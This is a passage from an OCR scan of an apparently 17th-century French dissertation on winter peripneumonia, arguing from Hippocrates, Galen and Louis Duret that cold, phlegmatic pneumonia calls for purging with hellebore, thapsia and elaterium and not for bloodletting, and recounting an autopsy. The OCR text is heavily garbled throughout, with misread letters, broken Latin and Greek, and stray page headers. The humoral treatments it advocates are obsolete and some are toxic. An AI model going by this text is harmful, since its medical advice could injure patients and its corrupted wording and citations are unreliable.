vation defquellcs Hippocr. a die en nat.hum.
• tant de lieux, qu’on nc pouvoic bien djaer,
pratiquer la Medecine.Cequi eft con-
firme par Gal. au IX- de la Method.
Ch. 9. & au Liv- defeU. Ch. 4, Sc enepid.s-s.
une infinite d’autres lieux , ou il enfei- ^
gne que les indications fe tirent des fai-
■ fons de I’annec.
Ce fonc-ellcs en effec, quiinijpri-
jS . Dijfertaitons fur leg
ruent aux maladies ce fameux«M«'* w
dll commencement du Prognolli. le^
quel felon Gal. dans le comment- n’clt
.•autre chafe que la conftitution de
Tairj & les changemens du froid,da
•chaud j du fee & de I’humide, qui
arrivent dans cet dement , dont
I’on f^ait que les anciens Payens fal-.
foient la premiere , & la plu.s conlir
derable de leur divinitez & que les
Medecins doivent confiderer , felon
Hippocr. au Liv- de flatib. comrae Lc
Maiftre des alterations, & I’Auteur
unique de la vie , de la fante , & des
maladies qui ahrivent aux Hommes.
En effet, puis qu’il agit fur le bois-j Ic
■ fer 5 &c le cuir , comment n’alterera-
t-il point nos corps ? & principale-
ment les organes de la refpiration j qui
font fidclkats,& ne peuvent fe def-
fendre de fon adiipn ^ifoU immediate,,
par laquelle , s’il ;,eft extremement
froid . il les corrode & rompt leur
vailfeaux; d’oii viennent les crachc-
mens de lang qui paroi0ent dans nos
flu-xions, comme il eft dit au d, des
Epidem. com 3. tex* J4. au. 14-
Aphor. de laSed.ou m.cdi4Xc,cni
Pmpneumonies d'Hjver. $ 7
rcndant le fang pituiteux, & le rein-
crudant:ou d’une maniere encore plus
dloignce; mais flui n’eft pas moins effi'
cace , en caufant la ftcrilice des grains
& des fruits : d’ou , viennent lb: ma¬
ladies Epidemiques>. par la nsceiEie
des mauvaifes nourricures > & la
corruption du fang. G^, i, dcdiffer,
fehr. Chap. & 4.
Pour bien eftablir encore Ic Dia-
gnoftic de ees maladies done, nous par-
ions, il convientobferver la conduite
prticuliere du malade , & les fautes
qu’il aura pu commettre dans fon rei-
gime i s’il s’eft remply I’cftomach de
viandes- indigeftes j s’il a beu quantice
dleaju , particulierement» mauvaife,
croupidantc > & marefcageufe, dont
I’-ufage fait la Peripneumdnie» au Liv.
de iter, aq, & loc^ D’ou vient que nous
avons veu regner cette. maladidi la
campagne & chez les pauvres,. Mats
cll’ eft encore familiere aox riches
qui commettent des^ excez. Et e’eft
de cette Peripnsunaouie ^que, I'on peut
entendre -le mot de Martial, dans
TEpigr. 87. du liv. II. Neneffh^e.
titjfisj Farthenepae j-gHla efi.
Difettatlonfiir Its
■Ainfi chez Polybe. Liv- 2. Chap. 4.
Agron Roy des Illyriens » s' adamant*
l')vrognerie^& a la crappile,devint fldu-
ret'tqHei & monrui en fen de jour}. Le
vin bourru, doux & peu fermente, qui
felon Arift. au 17. Prob. de la j. Scd:.
bouche les vaiUcaux, Si farcit les cavi*
tez du poulmon', eft fort propre ^ en-
gcndrer cecte maladic. Mais le merae
Aateur, dans'le i. & 6. Prob. de la
mcme Sed. a grande raifon de deman-
der en general, foHrqttoj le v 'ln eHant
chand, frodnit far/on excez^ des mala¬
dies frotdes,cpmme la Plenrefie,&amres
femblables ? Ceque Mercurial n’enten-
dant pas au Comm.for I'Aph.22.de la
Scd. j & ne pouvant comprcndre quc
la Pleurefie, & la Peripneumonie puil-
fent, ^ raifon de Icur caufe , eftre ap¬
pellees dts maladies froides , il croic
qu’il faut reformer le texte , & au lieu
de Pleurefics, mettre Paralyfies
Il faut cencore obferver ft le malade
a fouffert long-temps du chagrin,&
la triftclTe , ou de la crainte , qui felon
Gal au 4. cattf. fttlf. & 3. de fanit.
mead, refroidiftent & delfeichent le.
corps , & dilfipent les forces, alfoi-
7 * eriftHHWomes d‘'^y<ver. /y
Wiffent les digeftions- , &■ font leur^
principale iraprcflioh lur reftoinach.’
Ges paflions retiennont encore le fang^
autoat'du cceiir , & contribu&t tres-
notabkment i produire cecte maladie*
comme nous Tavons rcconnu par ex¬
perience , ^'quoy- Ton peut rapporter
ce paffage du Liv. da morb'. f4cr. de‘
* ' fimt infttfer pituivi* e« tgrwto timore.-
jS Ec cct autre de Gal.'4. d-tfanit. tttendv
< hac fttccos introrfum'
I trahmt am altos quoqm modv tpfo‘
mm mottim cowitant : qtsorum fmf
mjliua &• timor, quoqHe attditpf am
! , viftt antmo fittporemhorroremque inctt-
tinns : hoc omnia devitanda homini laf-
I fitndinem patienti , & cm vena cmdis^
[' /meet referta fnnt^ Mais il faut rur*
tout s^informer , fi le maladeeftant ef-
I chatrffe par quelque exerciee violent,
; s’eft rafraichi trop vifte", 6uVen beu-
vant de I'eau froidc , on (nefnie fc tc--^
nant h I’ombre, & refpirant- un air
trop frais; cc qui fait prefqu’i coup^
feur, ou pleurefie , ou peripneumo*^
nie. D’oii vient qu Hippocr. an 3 . de
diati dtffend trop d’exerciceen hyyerj
dc pciM fans doute que Tair froids nff
'^o Difert/itloH fur Us
fr glilTant tr^p promptimcnt dans uit
corps ouvert par la chaljur & Te^ter-
cice » ne coagiile Ic fang , comme Ic
laid fe toiirne, lors qu’eftant boiiil-
lant» on jccte delTus de I’cau froide * .
ou dn vinaigre.
Ec av int tout cela, il faut connoi-
tre le temperament du malade, &
voir s’il engendre beaucoup de bile ,
& ne I’evacue pas fuffifammcnt 5 ou
par les felles , ce qui a fait dire ^ Hipp.
au Liv. deatr- aq. & he. que ceux qui
ont le ventre libre , nc fontgueres fu-
jets aux pleurefies , peripneumonies >
& aucres'maladies aigue'% ; ou par les
urines , qui felon Galien 6 . de loe.
Chap. 4. purgent tout le corps,
Sc fingulierement la poidrine Sc le
poulraon ; ou enfin par I’.habitude du
corps d’qu vient, felon Hippocr-au
le. Chap. de,s coaq. tex. ap. que les
corps durs & ferres, & qui font beau-
coup d’exercice, meurent plus'fouvent
de la plcurefie, que ceux qui font plus
delicats , & ne font qu’un exercice
moderc, que le mefm.e Hippocr. au
de dUt. appelle felon nature , &
qu’il oppofe ^ celuy qui eft violent*.
Je
FerlpKeumenies d'Hyvtr. 6t
Je ne finirois jamais, ti je "voulois
rapporter par le menu , tomes les ob*
fcr^ations que doit faire un Medi cin
habile » & digne de /a Profedion j qui
fcloiiGal. au Comment, j. du 6. des
I Epidem. Eft Qcctifiemm captator C^*
1 inventor ; qni doit connoiftre la nature
i univerfeJle & pariiculif re ; & fe di-
ftingue dcs autres, felon le mefme Au¬
teur 6. Epidem. Sed. i. tex. 4}, pat
les feules interrogations quM fait a fes
malades , qui ed li prudent dans toute
fon adminiilratioiiiqu’il ne fait rien
temerairement j & ne neglige rien ,
felon cet autre precepte d’Hippocr. au
au 6. des Epidem. Sc£t. a. tex. ij.
1 fixi /tcijh't bVepof* de fait paroiftte
‘ en toute rencontre cettc conjediure
artificieufe & penetrantc , qui comme
dit Gal. au Comment, z. fur le Liv.
I de rmion. viSl.in acHt. tex. 37. n’ap-
partient qu’i celuy , eyut vtres emnium
j qmt in arte fttnt di<itcerit,memorn£ man-
j daverit , ateyue omm dtltgemia adhibttSi
[efe in openhm anu exercuerit; pauct~
ejue tales extfimt, ajoure-t-il. Cette
Ai.'oti,, eft rare.& fort diff rente de cel-
j lequ'Ariftote au 6. Liv. de fes Mora«
I
’Dijfmattm furies
las Ch. 13. appellf e»B/»£ui»
■vafi-ttiem non Uudabiiem , qui de tou-
tes les difpofitjons eft ia plus malheu-
jreufe pour la Medecine ,,qui veut unc
prudente fimplicitc , & fe moeque dc
;la 6nefle. En efFeti noUs voyons tous
:les jours.ces gens fi rufc? cftre. Jes du-
{ )es de. Icurs opinions, & furpris par
es c.vcncmens. Cecte fagacite nature.l-.
jje > a rendu noftre Galien admirable
•dans la pratique de la Medecine : elle
eft j felon luy mefme , fort diftinfle
' de la Science de TArt, & rpet une fi
:prodigieufe inegalite entre ceu* qui
J^excrcent j.qu’il n‘y a point de Pro-
Artifi- .feflion de la Societd Civile , ou le
ces , <»^ 5 fdjioix des Ouvciers foie fi important,
dans laqucile ils foient de.Claftes jS
ftantes. difFercrites.
Bippocr. .Ceux qui fecont dt la premiere , ne
hb. de fe laifleront pas aifement lurprend.re
'meli fimilitudes, ils y remarque^
jroni de la diverfite & mefme de Pop-
pofition. 'Et comme ils auront appris
d’Hippocr. au Liv- de qu’unc
ibefme ,caufe peut produire ,des mala¬
dies dtverfes, dans pluficurs parties
^ffedeesjde mefnje ils pbfe^veron.t.
*Peripn€itinmes d"Hyver, 6}
que des caufes cotitraires, pourront'
produire la mefme maladie , danS
une feule paTtie^-malade. Nous eh a-
jvons un excmple tres-cvident dans
I’apoplexie* qui proecde tantoft du
fang , & tantoft de la picntce, qui
preil'ancs dgalement la bafe ducerveau>
& le principe des nerfs ,'font paroiftre
les mefmcs fymptomes. Cepcndant
les ind 4 cations curatives ^ en font aulli
-oppofites , que les caufes done dies fe
tilfen^.. i& €elfe a raifon de dire au
Chap. 17 . du }. Liv. que dans I’apo-
plcxic j qu’il appclle , morhum atteni-'
turn , la ftignce tue ou gucrit, vcl occi-
dit yvel liierat.
Je Ibutiens que la mefme chofe fe ^ •
doit dire de ia peripneumonie, qui
pouvant'senird'unc caufe ou froide ou
chaude, com me je croy Tavoir deja .
"prouve, & le montreray plus ample-
ment ey-apres > doit obliger te Mede-
cin qui entreprend de la traiter k une
circohfpcftion particufiere , qUi lujf
fafle cohnoiftre premierement fi la bile
ou la pituitt'^qui en lent les caufes
antecedentes, font epidemiques, cora-
•Qve park-Hippoeratc au tex. €. da
g4 *Di^mmton fur Us
Liy. dcs affeti. intern, ou fi Tune &
I’autre eft recence , c’tft it dire amaf-
fte par un vice parciculier j & par con-
fequent fi les peripm-umonies qui en
provicmient, font communes ou fpo-
radiques & parciculieres , puifquc *
comme dit Hippocr. ttaj. des Aphor.
19. Tomes fortes ale maiadies fe peuvent
engendrer en teute fatfon j tnrtis il j en a
queteju^es-unes.ejui ytngendrent.0‘ s'kri-
■tent en certams temps [plus qu’en d’tta-
ires- Et Gal. ap 4..des Aphor. 4. en-
ieigne , i^ue la-hie ahonde rptelquefois
en hyver, qUoj qtie raremem, comme'la
■pitiiiie peut s’amafler fair'e du def.
ordre en eftc. ll fauc d.onc que le Me*
decin foit toujouts fur ffS :^rdes > Sc
,exam,ine foigneufement la nature &
les difpofitions du fang J s’* rj Kftim
rji (wsu'ra dans fon temperam,ent & la .
confiftence , afin de eonnoiftre ^ la-
queile des catifcs il doit imputer la
peripiieumonie qu’il entreprend de
traiticr puis qu’il eft vray que les vi¬
ces du fang fe convmuniquent toujours
au poulmon . qui feloiji,^al,auiGQmm.
.6. des Aphor. & /ti curand. ration.
/»«?■ Chap. 8. eft ir^^-fulcep-
P'eripneuni’omts i'Hjvtr.
title de fluxion, d’mtam ^»e cevif-
fsr? , des'.^uHtri fMcuhtK. a cont'^
r^HY.es Jtmc xmus Its antrts partief
dn corps , ets a trtu tfcmmemm foi-^
hies i 6i que c’eft tiYt chafe melle &
r.art) a fain comme paijle
Hippoe. '4. de mcrbit, au travcrs de |a~
quelle toute la maffe du fang circuIanC
dona* ou treiae fois en une heure . fe-
Ibji la foppvitation de I’lngenieux Si
Etot^e louver , & la plufpart de fes
impin?cte2' deir'eurant dans cctte ef-
pece de .filire, il eft idnjaoffible qiic
les alterations de ce mefme lang. j ns
fe/fent litrlprefljoil fur cette paitie.
'.Ge difoeri^ettierlt eft fi important y
cotnme- Bonsravotrs ^e|a di't j que dg
li d,epc«d le falut du' malade , & la
reputacfon du' Medccin puifque ccs
deuX caufes, dont I’une eft froide»
ll^utre eft ctaude^j I’unfe a fon foyet-
o?dinairg dans ' la premiere 'r^egion »■
l%ntre s’altu}nfe*dans ks veines-&dand>
Icr vifeercSs fournilTent deS indica-
tWns curativ.es entiercment bppolees.
Hippoer. tiotfs les a rhaiquccs touces ^
&'la raifon, » au{fi bien qiie rcxperien*'
cis aous^eji>cbttfifrif«la;feftefl'ci Gar-
Fi-..
^ ’Dijf station fur Its
apres avoir d<iCctk dznsle^. demerbi
les cumeurs chaudes du poulmon ( ce
qu’on pent expliqucr fans grande vio*
Icnccj de eelles qui viennent du fang
& dc la bile ) pour Ics guerir ii ordon^
ne la Icignee , non- feulement du bras >
maisauQl du nez > de la langue » & de
toutes les parties du corps j il inte'rdit
le vin qui pourroit augmetiter la fcr*
mentation des humeurs , qui u’eft deja
que trop forte il confeille des altera-
tifs rafraichilFancs par dedans & pac
dehors , aulH bien que dans le tcx. 8^
des afeU. intern.
Au contraire, lors qu’au raefme
Liv. 3.. des maladies , il traite la fleri-
pneumonie limplement appelleequi
pour rordinairc , & partieulicn menc
dans les Pai's froids,' vient dc pituitc &
de erudite j fi elle nc fe guerit par un&
espedoration proropte & liberale, il
enjoint cxprelTement que Ion pu'^ge
par haut & parbas, fans fatre aucune
mention de la feignfie, & Ians s’amu-
fer aux Icnicifs> qui n’ont pas- de pro¬
portion avpc iaquantite & le mouve-
ment dc I’humeur ttiprbifiquf , il or--
donne un mcdkameiu t^ipofd da
PerifneHmmies d'Hyver. Sj
parties egalcs , d'Hellcbore , de
Thaplia , d’Elaterium ; remedes vior
,}encs-^ la iyeritc; mais outre qu’ii lis
fcavpit a,doueir par la preparaiion > ce
grai>d Hf n.mie les jiigecit cfEcates ,
& neceflaires poor faire use prompts
& veritable revulfipn de la matiere
crus j qui fe pprtc le plus fbuvent du
ventre , ^,de la premiere region , fusf
le poulmon ,[par les ycines mefarai*
ques j par le receptacle, 6c les ca-
naux. chylifeijcs j & qui ■, comme
nous avons deja dit piuiieurs fois , e-
tant crues & acides, coagulent Ic fang*
srreftent fon mouvement» & fonB
mefroe des concretions 6c des poly*
pcs. dans les. vaifleaux du poulmon>
6c les ventricuilcs du Goeur ainfi que,
le remarque Willis dans le paflaga
ci- dcfllis , & que nous Tavons oblerve
tres-foqvent , .dans, louverture des
cadavres de egux qui font morts ds
cette maladie i 6f. fingulierement;
dans celuy d’uji |e.unc Aeademifte»
mort il y a dix on dou<ZG ans chez
le lieiir de , S. Mtfihel,^aiftre d’Ar-
mes ^dans lequel nous trouvafines fa'
plufpqrt, des gros.-taiiK anx des vei,*;
DCS cave 6c artericufe. 6c de Tarterc
6 S' Difermion fitr let
vcineufe pleincs d’une matiere blah^
ehe , de la conliftence dc moiifelle , ou
de fromage nouv-eau> qn'e n&iis tit^joni
tGUte enciere'defdks vaiileadxJ.'d'onlS;
die iMJus rEprefentoit -IcS dividbhs #
paroiflaftt ramifi^e cortirae'dts brati'*
ches de corail j & eett'e mefme foa^
tierc imife dans, du laift. riousf panlt
avoir la vercu de la prefsupe j ehfor-*
te que tcftitc h niafle du fang^eftarijJ
coagulee j du moins dans la poitiH^i
ncj il n’y avbit pas fufet de s’efton^i,
ncr de la roort du tiialade, comini^!,
nous TavonS d^)a cite dii-Liv. de.
morif. facr. dill.’ de ifiork Et piluS ex-
prefleniJelit du 4 da i’Mit'edir fd ferti
pour expliquer ta generatibiT defe rna 4 ;
ladies, de cett8 fijdme coitiparairon db:
la preflure qu’oh mefle dahsdu laifby-
Hnbet Mietn & h^c itfebtio fithilittedi'
»f>h ad.i^c\ Ji ejitis enhn in'
tab imf»mat , frigidhai m >i^fi -ebortA j-
Inc jttjpjfat, mqite cm^lobdt i circa-
i*ero td ^Hod cbncrtvit ffernm efi •, fie
ttiam in homtne humor, fiigiditate in
morbo. cbortd cbnglobatttr & infpift- '
tar i Sc un peu plus bas ^penctilum ef
ifc-tpfo mbrbftm ai^nemfitrS , fi.-alicfib*'
fe obfirmet.iu gued affltgtt, tsHt md lattUf
am ad vtfcus, am alieubi altam paruM
■concalefaciat. Et c’cft par cetie mffme
coagulation du fang , qu’il faut txpli-
quer la mort, qui fc Ion I’experieiicc
des Anatomiftes modtrnes > ne man*
que pas d’arriver aux aniroaux , dans
les vcines defquels I’on a feringue,
■J^elprit de vitriol, ou de nitre, ou
jinelme Ic laidl:, qui n’ayant pas efie
adigerepat le ventricule , les inteftins
^ les vcines , mais fc (neflant imme-
•diatement avec le fang , confervc en¬
core cctte i^eftnc vertu de la preflure.
Quelquefois cette-mefmtf matiere »
ou autre femblable crudke, defcend
du cerveau par les fiiius de la dure
.mere, & par les jugulaires > dans lef-
quellcs s’arreftant, elle produit Tef-
quinancie ainli qu’cnfeigne Hippoc.
an tex. 30. du Comm. dedUt. acu-
tor. le paflagc fert irop ^ confirmer 8c
cfclairtir Uoflre dodlrine , pour ne le
pasciter tout entier; L’Ejf'qmnaftcie,
dit noftre Auteur ^fefait tors ^tte dans
I'hyver & dans le printern fs, me grande
^uanttte d’humeufs vi^ejueufes , tombe
fur ies vemesJitgftUires, fentcapa^
fo D't^maikit fur Itr
hies d'attlrer me grmde fluxltVy U-
^iielle eflmi froide 0“ gluatite ^ bom he'
les cofidunS'ae la n^trigtiVK , arrefie It
fang & le read' immobile^ fance ^^tte l»
fl-HXien eft froide d'e favamre': Ec iGaK
dans le Gomment- die que I’Auttur
reconnoift deux efpeces d’cfquinan*
cie , I’unc chaude,& acre , qu’Hippoo,
deferit dans le tex.. fuivaht» k iJjavoir
Ic 31. da mefm^ Livrt;, arrlvev
dit-il, ler^ que dans I’M,ftti.& daiv
V^utomne , une^, fluxion chakde & tri-
treuft » tftant devenue acre far la chit’
tenr de la faifon , ulcirt , mord, eaufi
forshofnoe , &ei. -.Et ft tu.affilles cent
effete £ipqHtnancie btltenfe y ajoots
Gaiien, r« we te trofnferas fas I'autre
effect y continue le m'e'fme Auteurij
vtent d'me fluxion froide & gluante y
que I’on fem affeller fi'tmteitfe.
Cette Do^rine de rcfqumancie fe'
pent & doij entendre de la prripneu'-
monie,-, •& il n’eft . point; d’AnaiogiCne
.plus raifonnable j!pui^quc;ce font deux
maladies aigues < de mefme genre,
caufees par fluxion d’une nicfme ma-
tiere , & qui nae/nae ne different pret'
•qqe p.as dc parties affeO?eea# coflw»?
^eripneumomes d'ffjver. js
I’cnfe^ne Gal. au 4. de loc. affcB. lel-
quclles Hippoc. a coCitume de foindre
cjjfrmble corome j 1 paroift par Ic
tcx. zo. du 4. de.vi£i-. in .«cnt, ^erm
fi Angina fnerit vel jtliud qitaddam
w pleunttcismslttm. Qui fe changenfi
iouvcnt I’une & I’autrc., comme il Tc
voit par TAphor. iq. dc la Seift.
€etiX., dit Hippocrate , font dtii-i
de I'ef^mn^ncie , pnrce ^tte Uiflti-
.Xien fe jette jnr le pottlrnon, pertjjent t»
fept jours: & s’tls en rechappem » iU
devtement empjiques. Com me .donfi
il eft uHc Efqoinancie d^Hyver» ou d.e
Pri^temps, & une aurre d’Efte Sc
d’AutomQe ■ i’une qui naift d’unp
fluxion froide, picuiteuf- . Si gluante ,
qui arrefte Si cangel; le fang i’autre
d’une humcur acre , chaude & nitreu-
fe, qui mord , & ulcere, que ^cppe^-
danc Tune & lautre eft une maladie
t 4 rcs-aigue, ^ raifon de la panic mala*
de, & de fes fyiuptomes , qui font les
mefmes en I’une Si 1 autre, efpece :•
de mefmes, il faut reconnoiftre les
deux Torres de peripijenmonies , done
nous avons deiatant de fois expliqu6
1^5 diffcfeaces, & les coiivenances*
72 DiJfertatioH fur les
Jenevois qu’une objetaiott confi* '
derable coticre ce que je viens de dire^ I
dont la difcuflieii fervira beaucoup ^
r^dairciH .rat tit de la cure de ces ma* |
ladies. Hippocrate 5 me dira-t-on , re-* !
connoilloit k la verit 4 deux forces d’ef- [
quinancie , done les caufes , aulH bicD' i
que lesfaifons font entierement con-
Craires > mais il ne preferit dans Tune '
& dans I’aiure, & noramnaent dans j
Celle qui etl pituitenfe, & s’engmdre |
en Hyver par une fluxion froide, qu’un . ^
feul & mefme remede , a fcavoir , L*
fiignee, des veines du iras ^ & de lu'.
lahgue, au context, du paffage par
nous cite,^ fcavoir Je jo. du 4. de
viol, in «cm. & cela apres avoir pro* '
nonc6 imiverfcllement desletex. 19*
dans les maladies uigms tl faut'
feigner, fi (lies font grandes , fi I’aage
dumalade efi flortpante^ & eju’tl ait
des forces. Ce que Cjal. dans le Comm. ,
approuve fi fort, qu'1 fe recrie
Cette femence efi digne d’ Hippocrate ,
^ ejtt il y a lieu de s'eftonner , (^utl «<
tait pas wife dans les ity 4 phorifmes y
puis cfttelle en a tome la force & La gra-
VHe. Ec le mefiiie Hipp. encor plus
^eripneawofiles d'Hyver. 7 j
fortement,&: plus exprtflcmec au t, i.
Enfttgne qite Its wfUmwattons des hy-
foehondres & du dtaphr^gme , les ortho-
pnees , les doitlems de fete & de rate
& les autre^ colUitions fj^rophlques,
font att de fates dte diaphragme , ne
fe pe»vem gHertr,fi I'an fe fen cCabord
dti medicament Pttrgattf car ^ ajatete^
t-tl, lafetgneeefb le remedt pnnctpait
v'liytissnwt. Et dansletex. ii. il rn
rapporte la raifon : Payee tytte dans le
commencement des inflammations , les
pnrgaiifs ne tiient r^en de^a panic ma-
lade 3 enflammee , & tendtee-, d’autani
^tte rhtemeur eftant erne , noheit pas ati
remede : mate dt plies, il defeiche ,
fond , & eonfommd les panics fat-
net, pourroient rejifer a la maltt-
die. J’etpere que I’on nc me repro*
chera pas de diilimuler les objedions,
& d’en diminuer la force ; & je ne
douce point que repondant bien ^ ces
pallages, je nevdemonte la grande
batterie de mes adverlaires : t^chons
d’en ventr a bout.
Je ne chicaneray point d’abord fur
rautorite du Liv. de vtSl, tn acut. je
fsay que Gal. a dit au Liv. 3. de diffic.
G
74 *DlJfertatien fur Us
refpir. Q^aucun de ceux qut pur efprit
de centePiation, retranchent cjuel^uHtt
des Livres £Hlppocr. naofe rten en-
treprendre fur celuj dont tl s'dgit. Ec
bien quc le mefme Gal.qu’on pourroic
accufcrd’un peu crop dc*critique fur
cctte matiere , an comtneneemeut da
4. Comment- fur le mefme Liv. dife ,
cePi d hon droit , que la plu/part
des Medecms out cru , que la derntere
partis de cet owvrage, dans laquelU il
parts des 'Bains, oil font les tcxtcs que
Ton m’objede , nePipas d’Hlppopr. &
contitnt htaufoup de chafes inMgnes de
lay. Cependant , je renonce ^ eette
deffenfe , & paffe.tous ces textes pout
tons , legitimes , & Hippocratiqucs j
mais je fciiciens qu’ils ne conclueiic
rien centre moy.
Car premierement pour ce qui re¬
garde I’Angine , Hippocr. ne pouvoit
pas preferire d’aboid un medicament
purgatif, dans une maladie , oii la dif-
ficulte extreme de la deglutition , qui
eft le fymptome principal de I’ffqui-
nancie d’Hyver, le rendroic inutile i
auffi bien que la fievre tres-aigue >
Texcrlme ,oppreflion, & difEculte de
^PerlpHettwonies d’Viyver. 7 j
refpircr , dangeicux ; quand tnefme le
nialade le pourroic prendre , & qu'il
y auroit lieu de praciquer ce que le
mefme Hippocr. confeillc au tex. Sj.
du nitfme Liv. done il s’agic,
d cafiie fluyio eft j iiie helleborum dare
i.puis que ce medicamme pour-
roit dans le commencement de la pur^
gatton achever d’etonffer le malade >
par la qualice que Iny attribue Gal ^
bon droit au Comment, fur le pre¬
mier Aphor. du V. Liv. fansfaire au.
cune evacuation conlidcrable.D’autant
que comme dit Hipp. dans les grandes
doulcurs, ficvres tres-aigues , & fym-
ptoines violents j la nature n’obe'it
point aux remedcs purgatifsi^ caufe de
la tenfion j & du motive ment prcfque
convulfif, dans lequel font les parties
du corps. Cependant il faut dans TAn-
gine une evacuation , non feuLment
prompie , mais prefentc, ]f>fa celentas
mora eft Sc ainfi il n’y ^ pas d’a-
bord d’autre party ^ prendre , que ia
feignee frequente & reiteree pluneurs-
foiscnim mefme jour; qui n’exclud
pas pourtant le purgatif» aulli-roft
qu'on s’en peut fervir comme en de-
7^ /ftr les
iHEure d’accord Gal. dans le Comm,
du tex. que nous expliquons , Corpus
i^tiur totum ■vena fettk vacuare opertet,
&purgaiwne, & cljflenbm ; & commc
le pratjquoit Alexandre Trallian, lib.
4. Ch. /. en donnant des Je premier
jour I’cxtraic de IcammonCe , & cou-
pant, dic il, par ce mojen la corde
qut dtvon hrartgler fon malade", com-
formemerjt ^ la Dodlrine d’Hippoet.
au Liv. de loc. in horn. 8 i de morb.
oil il joint ces deux remedcS ; & le mal
eftant fur fon declin » il veut qu’on ;
purge dcrechef avec TElaterium , dc
peur de recidi.ve j jOU de permutation,
ft veritablement ceux qui a.ufont ob-
fervi > corante le flux de bouche s’ar* [
reftc aifement par le purgatif» ne dou- j
teront pas qu’il nc faffe revulfion
des matieres qui fe portent i la gorge. 11
Quand done Hippoc'r. preferc la lei* I
gnec ^ la purgation, dans la cure de
i’angine , & raefme ferable obmettrs |
enti'erement la derniere > il quite fans
doute I’indicacion tirdc de la caufe , &
fe d^tourne , ®ej{ n vers ce 1
qui prefle le plus , comme die Gal. au
7. de la Method. Chap. u. Fbi nam-
Tertfnenfnomes ^W)vtr. 77
a qttovis affeSiu non Uve ptricnlnm
injiat, ad id <jttod urget, dtrtgt prmnm
cttramis conjiliftm debet.
Tout ce quc dclliis fe doit enten¬
dre , de I'angine pituiteule < on d'hy-
VI r i car pour ce qiii concerne ccllc
d’Eftc , chaode , & biliciife : Je con-
viens que la premiere , vcrital le , 8C
principalc indication , eft la feigncc ;
comme aufli dans les autres inflam¬
mations de cette nature , dont la cau-
fe eft ebaude , la fievre aiguc , les fym-
piomes violents. Et e’eft par cette di-
ftiinSlion qiiM faut repondre anx paf-
fag^s d’Hippocr tirez des tex ii. 6c
21. du 4. de viEl. tn acHt. ob il defFcnd
de coromencer par Ic medicament
pnrgatif dans la cure des inflamma¬
tions lyftropbiqiies, cn marqnc les
inconvevicnis, & affeure que dans ces
occafions la feign^e eft , S'
e’eft a dire le remede principal ; ce qui
Emble diretftement oppofe ^ noftre do¬
ctrine , 6 c ne Tift aucuncment, puif-
que dans noftre Thefe 5 nous avoirs 11 ,
bien & fi expreflemert marque la
diftintftion , entre les peripneumoriies
chaudes , bUieufes , & d’Efte; & les
7? Dlfertaiion fur tes
pituiteufes , qui tone produites par fa
ffoid dt I’Hyver done les premieres
fe guertflentpar la feign^e felon Hipp.
les autres prini-ipalcment par la
purgacipn.
Cette diftindion , n’eft pas une di-
feite inventee pour fervir h I’hypothe*
fe , frivolcj & fans fondement. ll la
faiit necellaireraen: admetcre , ou re- ’
connoiftre une contradidion Cyidcnte
dans Hippocr. qui dans le tex. 32. du
I. de vitt. in acut. reconnoift une dou-
leur de pofte qui fe guerit ou par la
purgation , pu par la feigi.ee,
•r Tvnaisi/wtpifH pro Htrmfvu exigenttag,
dit-il, & dans le tex. 8. du II. Liv.
Se£tio non fimtUter tollit dolorem, tiijt
^ nd clavfcitUm pertingat, ce que Gal.
dans le Comment, die qu’il fout en¬
tendre de la feignee. II eft done dcs
inflammations ou clle n’^eft pas » v'
iyi*snvsi- II en eft mefmesquirempef-
$hent, comme I’enfeigne Ic mefme
Hippocr. Epidem. Sed. 3. Aphor.
liltim. Imptdimemxw vena feUtonis \
fTHenta ^peetitibiu , plenrnis , btlu , -
gnni tewpus- Et dans le tex- 10. & *l. 1
du Eicfine fecond* de viG. in entfh Lei
^PtripneHmonies ^Hyver.
flettrcpes «fcendames , 9«> eccupent la
clavicule , & yhendctit 'jtt/^ues^ati bras
& 4u fern , fe giitri^em far la fctgnee ,
tjttt fe doit fatre fromptemtnt j & ynf-t
a ce-que U fang change de ciulenr’^
maps four les inferteares , qm defcendent
vers It diaphragme , il Ics traite pr.r Ics
purgacifsj a ffavoir I'Vlillehore noir, &
le T'epltttm, doht il ne le fere pas faute
de meilleurs remedes , non inopid me-
liotHm,fed deleSltt, comme I’a dit ic
S(javant, dc Illuftrc I^donfieur Duret.
Il repetc cette mefme Dodtrine aux
tcx. 73. 74. & 7 6. du mefiwe Liv.
& encore au Chap. 9. du II. Comm,
fur Ic prognoftic tex./z. Hippocr. en-
fcignc j qtte toutes IfS donlems , quint
fntfent nj par I’expeSteratton, ny par la
purgation , ny par la feignet, fe chan-
gent en tmpyemt. Il eft done des in*
flaramations & des douleurs de code *
qui ft guerident par la purgation , plfii
toft que par la-feign^e ; & aufquelles
meftne cette dernierc evacuation , eft
contraire & tres-nuifible.
C’eft la Dodrine tres-cxprelTc da
jneftne Hippccratc , dans la derniere
Ceaque du II.. Liy. qui fe lit en ces
So ^Ijfertation fur Us ^
tcrires : / «jeignee mn anx douUttrs
de cofie,ij»i ptennent avecfievrt, &
tachem dans cettepante tfans q» il pa-
rotfeatictinjigneaa dehors, cjnoj
le ma'adefon fans appent , & ^ne Jon
hjpechonare fo 'n tuwtfie, Et dans le
fold, avec flevre , ^ ptfantenr , lU'ua-
CHation dn fang eSl nuifiklc, & tettX
awftjHcls I'on en a tire , menrent hrs
^ntls pareifent fe porter mleux. Ce
texte parcift fort cxpr^s, & Teft en
crfcc j mais fon authority fe fortifie
inerveilltufement par le Commentai-
re du fjavant & eloquent Louys
Duret, I’nne des plus grandes lu-
mieres de TEcole de Paris, qui fcm-
We avoir pris ^ tafche en cet cndroit >
de prouver mon opinion , & de dc-
iruire cellc de M ffieurs mes Cen-
feurs. Le paflage kra long , mais il
eft decilif de ncftre queftion ; 6c ainfi
I’on me permettra de Tcmploycr icy
tout entier* fans le traduirc , car cc
feroit gafter la belle latinite de cM
excellent Auteur
Voicy done , premierement > com*
meildebute dans le commencement
de Tinterpretation du texte cy-deflus
PerifnettmonUs d'Hyvtr. 8i
allegue. Vettts yuorundam opinio efii
nullum dolorem lateris , nedum pleuri-
tidem , Kiji unicophlebeiomm alextterie
fo^efanart. jdcjane operd prettum lit
NiiGARUM audtre Garrulitatem ,
^unrum amhagihus ipforum Vanitas
folertijfitnu eft apud vulgm, omniiyue
/M/or Veritate. Et le refte. Et lors
quM commente les mots > PhlehotomiA
effendn. li cn rend raifon cn cctte
maniere : J^i^oniam Phlebetemta &
Pharma fid lex tUa pnnctpio eft fancita ;
Utloco adhibita fint dlexi‘
itria : at fine delePtu temer 'e ■& mcorft-
dtrate ^ deleterta. Sed in
Aolan lateris, ipui nee idea pleurhicHt
